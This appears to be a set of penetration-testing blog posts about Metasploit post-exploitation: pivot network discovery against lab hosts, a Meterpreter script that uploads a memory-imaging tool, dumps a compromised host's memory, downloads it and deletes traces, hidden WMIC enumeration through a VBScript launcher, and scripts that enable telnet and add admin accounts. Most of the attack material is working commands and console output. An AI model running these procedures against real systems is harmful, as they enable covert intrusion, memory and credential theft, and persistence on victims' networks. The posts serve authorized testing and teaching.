Meterpreter New Windows PowerShell Extension

in ,

I still remember 5 years ago when I decided to do my first PowerShell class at Derbycon and some of my buddies told me I was nuts for teaching what they called a "Toy Language" I have used  Windows PowerShell almost daily for work since 2007, started with my previous job setting up and securing Exchange 2007 servers, once PowerCLI from VMware come out it became my go to environment for automating and hardening ESX and ESXi environments.   Once we figured how to run encoded commands it became a must for post-exploitation since it gave me access to ADSI, COM, Win32 API, .NET API and all sorts of third party .NET library I could get my hands on. Some kind of PowerShell ability has been present in most major comercial products one way or another and now Metasploit is taking it a step further thanks to the great work of OJ Reeves also known as @TheColonial by adding a Metrerpeter extension for unmanaged Windows PowerShell Runspace.  This extension is based on the work from Lee Christensen and his UnmanagedPowerShell project.

Read More

Discovery Thru Pivot with the Metasploit Pentest Plugin

Recently I have been working more and more on my pentest plugin for Metasploit doing bug fixes and trying to improve some of the current areas of it. I added the Auto Exploit plugin to it for exploit automation and added some commands to aid in doing enumeration and discovery thru a pivot.

I was talking with the guys in Defensive Intuition and Black Hills Defensive Security and one of the areas they wanted to see me cover in the plugin was being able to quickly move enumerating and scanning other targets when they got a Meterpreter session on a clients network. So I added 2 commands to help with this to the plugin.

Lets start with a session that is connected to a host that is behind NAT:

msf > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  VICTIMLAB\Administrator @ WIN2K3LAB01  192.168.1.100:4444 -> 192.168.1.138:49323 (10.10.10.2)

msf >

lets start by loading the plugin

msf >  load pentest

       ___         _          _     ___ _           _
      | _ \___ _ _| |_ ___ __| |_  | _ \ |_  _ __ _(_)_ _
      |  _/ -_) ' \  _/ -_|_-<  _| |  _/ | || / _` | | ' \
      |_| \___|_||_\__\___/__/\__| |_| |_|\_,_\__, |_|_||_|
                                              |___/
			
Version 1.2
Pentest plugin loaded.
by Carlos Perez (carlos_perez[at]darkoperator.com)
[*] Successfully loaded plugin: pentest
msf  exploit(handler) > back
msf >

As shown in my others post about the plugin it will add commands to the list of commands available in the console to look at the command available we can just enter the help command or ? :

msf > help
. . . .
Discovery Commands
==================

    Command                 Description
    -------                 -----------
    discover_db             Run discovery modules against current hosts in the database.
    network_discover        Performs a portscan and enumeration of services found for non pivot networks.
    pivot_network_discover  Performs enumeration of networks available to a specified Meterpreter session.
    show_session_networks   Enumerate the networks one could pivot thru Meterpreter in the active sessions.
. . . .

The commands we have available are:

* discover_db - this command will go thru the hosts that are present in the database and will run a set of modules to enumerate and gather information from the services that have been detected on those host. One can provide a range of host to limit the discovery and SMB settings for the SMB modules that will be ran against hosts.

* network_discovery - will run the nmap scanner against a given CIDR, it will determine the ports that are used by Metasploit auxiliary and exploit modules and use those if none are specified and after running the scan it will run additional discovery modules to further enumerate and gather information from those services.

* pivot_network_discover - This command will enumerate all interfaces and routes on a given Windows Meterpreter session, it will create routes to the found networks thru the session specified, it will determine which of the enumerated networks are directly connected to the host or are remote so as to determine the best way to run detection of hosts, it will do a ARP Sweep if the network is directly connected since this provides the most accuracy and if the network is a remote one it will execute a ping scan against it, it will execute if specified a TCP and UDP port scan against the hosts it discovered, if a port list is not provided it will auto generate one from the existing auxiliary and exploit modules currently available in addition to adding some additional common ones, if specified it will launch discovery modules to further enumerate the services found.

* show_session_networks - will list the networks available thru Windows Meterpreter Sessions.

Lets start by listing the networks available thru a session. Lets first look at the options available for the show_session_networks command:

msf > show_session_networks -h
This command will show the networks that can be routed thru a Meterpreter session.

OPTIONS:

    -h        Help Message.
    -s   Sessions to enumerate networks against. Example  or .

Now lets list the networks available:

msf > show_session_networks -s all
Network     Netmask        Session
-------     -------        -------
10.10.10.0  255.255.255.0  1

Now that we know the networks connected to the session we can check the options we have available to the command pivot_network_discover :

msf > pivot_network_discover -h

OPTIONS:

    -D   SMB Domain for discovery(optional).
    -P   SMB Password for discovery(optional).
    -U   SMB Username for discovery(optional).
    -d        Run Framework discovery modules against found hosts.
    -h        Help Message.
    -p   Port list. Provide a comma separated list of port and/or ranges to TCP scan.
    -s   Session to do discovery of networks and hosts.
    -t        Perform TCP port scan of hosts discovered.
    -u        Perform UDP scan of hosts discovered.
    -v        Be verbose and show pending actions.

Lets see what information we have in our current workspace for hosts, services and notes:

msf > hosts

Hosts
=====

address  mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------  ---  ----  -------  ---------  -----  -------  ----  --------

msf > services

Services
========

host  port  proto  name  state  info
----  ----  -----  ----  -----  ----

msf > notes
msf >

Lets run a discovery thru the current session we have:

 msf > pivot_network_discover -t -u -d -s 1
[*] Identifying networks to discover
[*] Routing new subnet 10.10.10.0/255.255.255.0 through session 1
[*] Running windows/gather/arp_scanner against 1

[*] Running module against WIN2K3LAB01
[*] ARP Scanning 10.10.10.0/24
[*] 	IP: 10.10.10.2 MAC 00:0c:29:5e:e3:bd
[*] 	IP: 10.10.10.1 MAC 00:0c:29:4d:e7:5a
[*] 	IP: 10.10.10.200 MAC 00:0c:29:45:73:cb
[*] 	IP: 10.10.10.201 MAC 00:0c:29:c9:15:98
[*] 	IP: 10.10.10.239 MAC 00:0c:29:1e:8d:30
[*] 	IP: 10.10.10.238 MAC 00:0c:29:10:5c:d7
[*] 	IP: 10.10.10.243 MAC 00:0c:29:2e:97:ff
[*] Generating list of ports used by Auxiliary Modules
[*] Generating list of ports used by Exploit Modules
[*] Discovering 10.10.10.0/24 Network
[+] Running TCP Portscan against 10.10.10.2
[+] Running TCP Portscan against 10.10.10.1
[+] Running TCP Portscan against 10.10.10.200
[+] Running TCP Portscan against 10.10.10.201
[+] Running TCP Portscan against 10.10.10.239
[+] Running TCP Portscan against 10.10.10.238
[+] Running TCP Portscan against 10.10.10.243
[+] Running UDP Portscan against 10.10.10.2
[+] Running UDP Portscan against 10.10.10.1
[+] Running UDP Portscan against 10.10.10.200
[*] 10.10.10.1:80 - TCP OPEN
[*] 10.10.10.243:514 - TCP OPEN
[*] 10.10.10.2:445 - TCP OPEN
[*] 10.10.10.243:111 - TCP OPEN
[*] 10.10.10.243:445 - TCP OPEN
[*] 10.10.10.239:23 - TCP OPEN
[*] 10.10.10.243:23 - TCP OPEN
[*] 10.10.10.243:21 - TCP OPEN
[*] 10.10.10.2:135 - TCP OPEN
[*] 10.10.10.243:1099 - TCP OPEN
[*] 10.10.10.243:80 - TCP OPEN
[*] 10.10.10.243:22 - TCP OPEN
[*] 10.10.10.243:513 - TCP OPEN
[*] 10.10.10.2:389 - TCP OPEN
[*] 10.10.10.239:135 - TCP OPEN
[*] 10.10.10.243:25 - TCP OPEN
[*] 10.10.10.201:135 - TCP OPEN
[*] 10.10.10.200:445 - TCP OPEN
[*] 10.10.10.200:135 - TCP OPEN
[*] 10.10.10.243:512 - TCP OPEN
[*] 10.10.10.239:445 - TCP OPEN
[*] 10.10.10.238:445 - TCP OPEN
[*] 10.10.10.238:135 - TCP OPEN
[*] Discovered NTP on 10.10.10.2:123 (1c0104fa00000000000a0da14c4f434cd3b1d5bebfd032b2c54f234b71b152f3d3b1e271bbb79f3ed3b1e271bbb79f3e)
[*] Discovered DNS on 10.10.10.1:53 (403e858000010001000000000756455253494f4e0442494e440000100003c00c0010000300000000000d0c646e736d6173712d322e3435)
[*] Discovered NetBIOS on 10.10.10.200:137 (WINXPLAB01::U :VICTIMLAB::G :WINXPLAB01::U :VICTIMLAB::G :00:0c:29:45:73:cb)

. . . .

[*] Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.243:23 TELNET _                  _       _ _        _     _      ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|                                          \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[-] File doesn't seem to exist. The upload probably failed.
[*] Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.243 (Apache/2.2.8 (Ubuntu) DAV/2) WebDAV disabled.
[*] Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.243:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Scanned 1 of 1 hosts (100% complete)
[*] waiting for some modules to finish
msf >
[*] 10.10.10.243:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] 10.10.10.243:5900, VNC server protocol version : 3.3
[*] Scanned 1 of 1 hosts (100% complete)
[*] Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.243:5900, VNC server security types supported : VNC
[*] Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.243:5432 Postgres - Version 8.3.8 (Pre-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.239:23 Does not support encryption: Welcome to Microsoft Telnet Service \x0a\x0a\x0dlogin:
[*] Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.243:23 Does not support encryption: _                  _       _ _        _     _      ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|                                          \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)

msf >

One thing that we have to keep in mind scanning thru a pivot is slow, that is why I decided to go with the list of generated ports since these will provide me the best chances to leverage the tools and modules in the framework. For large networks I recommend also using the -v option to see how many scanner jobs are pending.

Now that we finished the discovery lets look at the hosts, services and notes we now have:

msf > hosts

Hosts
=====

address       mac                name             os_name            os_flavor        os_sp  purpose  info  comments
-------       ---                ----             -------            ---------        -----  -------  ----  --------
10.10.10.1    00:0c:29:4d:e7:5a  10.10.10.1       Unknown                                    device
10.10.10.2    00:0c:29:5e:e3:bd  win2k3lab01      Microsoft Windows  2003             SP2    server
10.10.10.200  00:0c:29:45:73:cb  winxplab01       Microsoft Windows  XP               SP2    client
10.10.10.201  00:0c:29:c9:15:98                   Unknown                                    device
10.10.10.238  00:0c:29:10:5c:d7  win-yr4v852v71y  Microsoft Windows  2008 Enterprise  SP1    server
10.10.10.239  00:0c:29:1e:8d:30  test-01bcdaf47c  Microsoft Windows  XP               SP2    client
10.10.10.243  00:0c:29:2e:97:ff  metasploitable   Linux              Debian                  server

msf > services

Services
========

host          port   proto  name      state  info
----          ----   -----  ----      -----  ----
10.10.10.1    53     udp    dns       open   403e858000010001000000000756455253494f4e0442494e440000100003c00c0010000300000000000d0c646e736d6173712d322e3435
10.10.10.1    80     tcp    http      open   lighttpd/1.4.23
10.10.10.2    135    tcp              open
10.10.10.2    123    udp    ntp       open   1c0104fa00000000000a0da14c4f434cd3b1d5bebfd032b2c54f234b71b152f3d3b1e271bbb79f3ed3b1e271bbb79f3e
10.10.10.2    53     udp    dns       open   Microsoft DNS
10.10.10.2    137    udp    netbios   open   WIN2K3LAB01::U :VICTIMLAB::G :VICTIMLAB::G :WIN2K3LAB01::U :VICTIMLAB::U :VICTIMLAB::G :VICTIMLAB::U :__MSBROWSE__::G :00:0c:29:5e:e3:bd
10.10.10.2    3389   tcp              open
10.10.10.2    445    tcp    smb       open   Windows 2003 Service Pack 2 (language: Unknown) (name:WIN2K3LAB01) (domain:VICTIMLAB)
10.10.10.2    389    tcp              open
10.10.10.200  123    udp    ntp       open   1c020efa00000000001000000a0a0a02d3b17b6e0454d46dc54f234b71b152f3d3b1e2508240cefdd3b1e2508240cefd
10.10.10.200  135    tcp              open
10.10.10.200  3389   tcp              open
10.10.10.200  445    tcp    smb       open   Windows XP Service Pack 2 (language: English) (name:WINXPLAB01) (domain:VICTIMLAB)
10.10.10.200  137    udp    netbios   open   WINXPLAB01::U :VICTIMLAB::G :WINXPLAB01::U :VICTIMLAB::G :00:0c:29:45:73:cb
10.10.10.201  135    tcp              open
10.10.10.238  137    udp    netbios   open   WIN-YR4V852V71Y::U :WORKGROUP::G :WIN-YR4V852V71Y::U :00:0c:29:10:5c:d7
10.10.10.238  135    tcp              open
10.10.10.238  445    tcp    smb       open   Windows 2008 Enterprise Service Pack 1 (language: Unknown) (name:WIN-YR4V852V71Y) (domain:WORKGROUP)
10.10.10.239  23     tcp    telnet    open   Welcome to Microsoft Telnet Service \x0a\x0a\x0dlogin:
10.10.10.239  123    udp    ntp       open   Microsoft NTP
10.10.10.239  135    tcp              open
10.10.10.239  137    udp    netbios   open   TEST-01BCDAF47C::U :WORKGROUP::G :TEST-01BCDAF47C::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__::G :00:0c:29:1e:8d:30
10.10.10.239  445    tcp    smb       open   Windows XP Service Pack 2 (language: English) (name:TEST-01BCDAF47C) (domain:WORKGROUP)
10.10.10.243  80     tcp    http      open   Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
10.10.10.243  22     tcp    ssh       open   SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
10.10.10.243  23     tcp    telnet    open   _                  _       _ _        _     _      ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|                                          \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
10.10.10.243  25     tcp    smtp      open   220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

10.10.10.243  21     tcp    ftp       open   220 (vsFTPd 2.3.4)\x0d\x0a
10.10.10.243  111    udp    portmap   open   100000 v2 TCP(111), 100000 v2 UDP(111), 100024 v1 UDP(55600), 100024 v1 TCP(53257), 100003 v2 UDP(2049), 100003 v3 UDP(2049), 100003 v4 UDP(2049), 100021 v1 UDP(58825), 100021 v3 UDP(58825), 100021 v4 UDP(58825), 100003 v2 TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049), 100021 v1 TCP(47361), 100021 v3 TCP(47361), 100021 v4 TCP(47361), 100005 v1 UDP(40587), 100005 v1 TCP(42089), 100005 v2 UDP(40587), 100005 v2 TCP(42089), 100005 v3 UDP(40587), 100005 v3 TCP(42089)
10.10.10.243  111    tcp    sunrpc    open   100000 v2
10.10.10.243  137    udp    netbios   open   METASPLOITABLE::U :METASPLOITABLE::U :METASPLOITABLE::U :WORKGROUP::G :WORKGROUP::G :00:00:00:00:00:00
10.10.10.243  139    tcp              open
10.10.10.243  445    tcp    smb       open   Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
10.10.10.243  512    tcp              open
10.10.10.243  513    tcp              open
10.10.10.243  514    tcp              open
10.10.10.243  1099   tcp              open
10.10.10.243  1524   tcp              open
10.10.10.243  2049   udp    sunrpc    open   100003 v4
10.10.10.243  2049   tcp    sunrpc    open   100003 v4
10.10.10.243  3306   tcp    mysql     open   5.0.51a-3ubuntu5
10.10.10.243  3632   tcp              open
10.10.10.243  5432   tcp    postgres  open   8.3.8
10.10.10.243  5900   tcp    vnc       open   VNC protocol version 3.3
10.10.10.243  6000   tcp              open
10.10.10.243  6667   tcp              open
10.10.10.243  6697   tcp              open
10.10.10.243  8180   tcp              open
10.10.10.243  8787   tcp              open
10.10.10.243  40587  udp    sunrpc    open   100005 v3
10.10.10.243  42089  tcp    sunrpc    open   100005 v3
10.10.10.243  47361  tcp    sunrpc    open   100021 v4
10.10.10.243  53257  tcp    sunrpc    open   100024 v1
10.10.10.243  55600  udp    sunrpc    open   100024 v1
10.10.10.243  58825  udp    sunrpc    open   100021 v4

msf > notes
[*] Time: 2012-07-19 01:35:46 UTC Note: host=10.10.10.2 type=host.virtual_machine data={:vendor=>"VMWare", :method=>"netbios"}
[*] Time: 2012-07-19 01:35:47 UTC Note: host=10.10.10.200 service=smb type=smb.fingerprint data={:os_flavor=>"Windows XP", :os_name=>"Microsoft Windows", :os_sp=>"Service Pack 2", :os_lang=>"English"}
[*] Time: 2012-07-19 01:36:03 UTC Note: host=10.10.10.239 service=smb type=smb.fingerprint data={:os_flavor=>"Windows XP", :os_name=>"Microsoft Windows", :os_sp=>"Service Pack 2", :os_lang=>"English"}
[*] Time: 2012-07-19 01:36:05 UTC Note: host=10.10.10.200 type=host.virtual_machine data={:vendor=>"VMWare", :method=>"netbios"}
[*] Time: 2012-07-19 01:36:16 UTC Note: host=10.10.10.238 service=smb type=smb.fingerprint data={:os_flavor=>"Windows 2008 Enterprise", :os_name=>"Microsoft Windows", :os_sp=>"Service Pack 1", :os_lang=>"Unknown"}
[*] Time: 2012-07-19 01:36:22 UTC Note: host=10.10.10.239 type=host.virtual_machine data={:vendor=>"VMWare", :method=>"netbios"}
[*] Time: 2012-07-19 01:36:28 UTC Note: host=10.10.10.243 service=smb type=smb.fingerprint data={:os_flavor=>"Unix", :os_name=>"Unknown", :os_sp=>"Samba 3.0.20-Debian"}
[*] Time: 2012-07-19 01:36:33 UTC Note: host=10.10.10.238 type=host.virtual_machine data={:vendor=>"VMWare", :method=>"netbios"}
[*] Time: 2012-07-19 01:36:34 UTC Note: host=10.10.10.243 service=139/tcp type=smb.domain.enumusers data={:sid_txt=>"5-21-1042354039-2475377354-766472396", :pass_min=>5, :pass_min_history=>0, :server_role=>3, :lockout_threshold=>0, :lockout_duration=>1480786430454, :lockout_window=>1480786430454, :users=>{1010=>"games", 501=>"nobody", 1210=>"bind", 1026=>"proxy", 1204=>"syslog", 3002=>"user", 1066=>"www-data", 1000=>"root", 1018=>"news", 1216=>"postgres", 1004=>"bin", 1016=>"mail", 1222=>"distccd", 1226=>"proftpd", 1202=>"dhcp", 1002=>"daemon", 1208=>"sshd", 1012=>"man", 1014=>"lp", 1218=>"mysql", 1082=>"gnats", 1200=>"libuuid", 1068=>"backup", 3000=>"msfadmin", 1224=>"telnetd", 1006=>"sys", 1206=>"klog", 1212=>"postfix", 3004=>"service", 1076=>"list", 1078=>"irc", 1214=>"ftp", 1220=>"tomcat55", 1008=>"sync", 1020=>"uucp"}, :name=>"METASPLOITABLE"}
[*] Time: 2012-07-19 01:36:36 UTC Note: host=10.10.10.243 service=139/tcp type=smb.shares data={:shares=>[["print$", "DISK", "Printer Drivers"], ["tmp", "DISK", "oh noes!"], ["opt", "DISK", ""], ["IPC$", "IPC", "IPC Service (metasploitable server (Samba 3.0.20-Debian))"], ["ADMIN$", "IPC", "IPC Service (metasploitable server (Samba 3.0.20-Debian))"]]}
[*] Time: 2012-07-19 01:35:33 UTC Note: host=10.10.10.2 service=smb type=smb.fingerprint data={:os_flavor=>"Windows 2003", :os_name=>"Microsoft Windows", :os_sp=>"Service Pack 2", :os_lang=>"Unknown"}

You can download the latest version from my GitHub repository at https://github.com/darkoperator/Metasploit-Plugins/blob/master/pentest.rb Also I got a request from a friend to turn the discovery command in to a post module so I started work on that also. I hope you find these new commands useful.

Meterpreter Memory Dump Script

A couple of weeks ago my friend Mubix sent me an email with the idea of dumping a targets memory for analysis and information extraction and if I could write a Meterpreter script for it, I did a small run of some ideas and like any geek with ADD I started but never finished the script. But after hearing Pauldotcom podcast episode 142 and saw the same idea that Mubix and I had discussed in the great technical segment by Marcus J. Carey from DojoSec. I decided to finish the script.  This Meterpreter script differs from other scripts I have written in that it requires a tool that is not built in Meterpreter or part of the target OS, it requires Man Tech Memory DD for imaging the target machine memory, this tool works on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server. For the execution of this script the mdd.exe must be downloaded and placed in the data directory of  your Metasploit installation, in the case of BT4 this is in /pentest/exploits/framework3/data then the script is downloaded and placed in the Meterpreter script directory 

cd /pentest/exploits/framework3/scripts/meterpreter/
wget http://www.darkoperator.com/memdump.rb

Now that we have downloaded the script it can be used with the Meterpreter payload in a compromised windows target host.  Once and exploit or client side attack is executed where we get a running Meterpreter session we can use this script. The options for the script are as follows:

meterpreter > run memdump -h
Memory Dumper Meterpreter Script
OPTIONS:
    -c        Check Memory Size on target. Image file will be of this size
    -d        Dump Memory do not download
    -h        Help menu.
    -t <opt>  Change the timeout default 5min. Specify timeout in seconds
meterpreter > 
The first step would be to check the memory size of the target host to now what is the size of the physical memory this will let us know the size of the image that will be created, this is achieved by running the script with the –c option:
meterpreter > run memdump -c
[*] Checking the memory size of the target machine ......
[*] The size of the image will be the same as the amount of Physical Memory
[*] Total Physical Memory:     383 MB
meterpreter > 
The main reason we want to know this is for when we transfer that image, on a MS SQL server or Exchange server this may be several Gigabytes in size, especially since most modern servers come with 4GB as their minimum memory size. 
To execute a full run with Download we execute the script in the following manner:
meterpreter > run memdump
[*] Running Meterpreter Memory Dump Script.....
[*] Uploading mdd for dumping targets memory....
[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\04522.exe
[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\85281.........
[*] Finished dumping target memory
[*] Deleting mdd.exe from target...
[*] mdd.exe deleted
[*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.785281
[*] Finished downloading memory image
[*] Deleting left over files...
[*] Memory image on target deleted
meterpreter > 
The script will perform the following:

      
  • Upload mdd.exe to the path of the %TEMP% variable of the process under witch the Meterpreter session in running. 
    •   
  • The name will be a random generated number for obfuscation. 
    •   
  • It will dump the memory with a name of a random generated number also for obfuscation and for avoiding collision of files when multiple exploits and instances of the script are ran on the target machine. 
    •   
  • It will delete the mdd.exe on the target host. 
    •   
  • It will Download the image to the .msf3/logs/memdump/<target host ip><random number> 
    •   
  • Delete the memory image on the target host. 

If the memory size is very big and the pentester wishes to use another method for downloading the image, only a dump can be executed:
meterpreter > run memdump -d
[*] Running Meterpreter Memory Dump Script.....
[*] Uploading mdd for dumping targets memory....
[*] mdd uploaded as C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\35194.exe
[*] Dumping target memory to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\63258.........
[*] Finished dumping target memory
[*] Deleting mdd.exe from target...
[*] mdd.exe deleted
meterpreter >
The default timeout for the execution and for the download of the file is of 5 minutes (300 seconds) this can be altered with the –t option and a value in seconds is given. 
Once the image is downloaded it can be analyzed locally using Volatility Framework, more info about this can be found in the Pauldotcom wiki show notes for episode 142. I hope that you find this script useful and thanks to Mubix for having the mischievous idea that lead to the writing of this script. 
  




























        


        

        

  	
 

    

  




  

    


    
      

        

      

      


        
  			

  				
Running WMIC in a Command Shell


          

            
            
             
            
          



  			


        

        

        




  
WMIC is one of those Windows command that you just love do to it's flexibility but sadly when you have a shell you are not able to run it because it breaks the shell losing possible hours of work to achieve the shell and possibly by running the attack again one might bring down the target server. I found that the best way to run WMIC is with Metasploit Meterpreter by executing the command in the following way in Meterpreter:
  

  
e execute -H -f cmd.exe  -a "/c wmic /append:c:\windows\temp\34des34.txt process get name,processid,commandline"
 
you must make sure that the command is ran as hidden with the "-H" option and that you do not use the "-i" and "-c" options since by using this options it will break the shell. To get the output of our commands we make sure that we use the "/append:" so we can collect the output of our commands in to a single text file that we can later open from within Meterpreter or download such file.
When not using Meterpreter and running from a simple command shell like from netcat I use to use in the past SC to create a service that would execute a script with all of my wmic commands or use schtasks or at to schedule the command and then collect the output but this proved to be very time consuming and prone to error. So I changed my approach and started using WSH scripting to execute wmic for me. It works in the following manner, I first create a vb script for executing my wmic commands, it can be even used to execute Powershell!!!
  

echo CreateObject("Wscript.Shell").Run Wscript.Arguments(0), 0, False > execcmd.vbs
 
the we can execute our wmic command in the following manner:
  

  
cscript //nologo execcmd.vbs "wmic /append:c:\windows\temp\34des34.txt process get name,processid,commandline"
 
we can get the output by running:
type c:\windows\temp\34des34.txt
we can even script out entire enumeration by doing something like this:
  

  
echo wmic /append:c:\windows\temp\34des34.txt computersystem list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt useraccount list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt group list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt service list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt volume list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt process list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt startup list full >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt rdtoggle list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt qfe >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logicaldisk get description,filesystem,name,size >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logicaldisk get description,name,freespace,size >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt volume get label,freespace,filesystem,capacity,driveletter >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netlogin get name,lastlogon >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netlogin get name,badpasswordcount >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt desktop get screensaversecure,screensavertimeout >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logon get authenticationpackage >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netclient get name >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netuse get name,username,connectiontype,localname >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt nteventlog get path,filename,writeable >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt os get name,servicepackmajorversion >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt service get name,startmode,state,status >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt product get name,version >> c:\windows\temp\sdcx.cmd
 
once the script is generated we execute the script by running:
  

  
cscript //nologo execcmd.vbs "cmd /c c:\windows\temp\sdcx.cmd"




























        


        

        

  	
 

    

  




  

    


    
      

        

      

      


        
  			

  				
More Meterpreter Post Exploitation Fun


          

            
            
             
            
          



  			


        

        

        




  
Well guys 2 more of my scripts passed mustered and where committed to the Metasploit SVN, this scripts are:
  • gettelnet- This script will enable telnet service on the target machine if it is running Windows 2003 or higher, in the case of Windows Vista and Windows 2008 that do not have the service installed by default the script will install the service and configure it to start automatically, in addition a username and password can be provided so that a local account with administrative privelages can be created and placed in the apropiate groups.
  • remotewinenun - This script will run wmic command enumerating diferent settings from a target computer using the credential of the process under withc meterpreter is running under, a username and password can also be provided.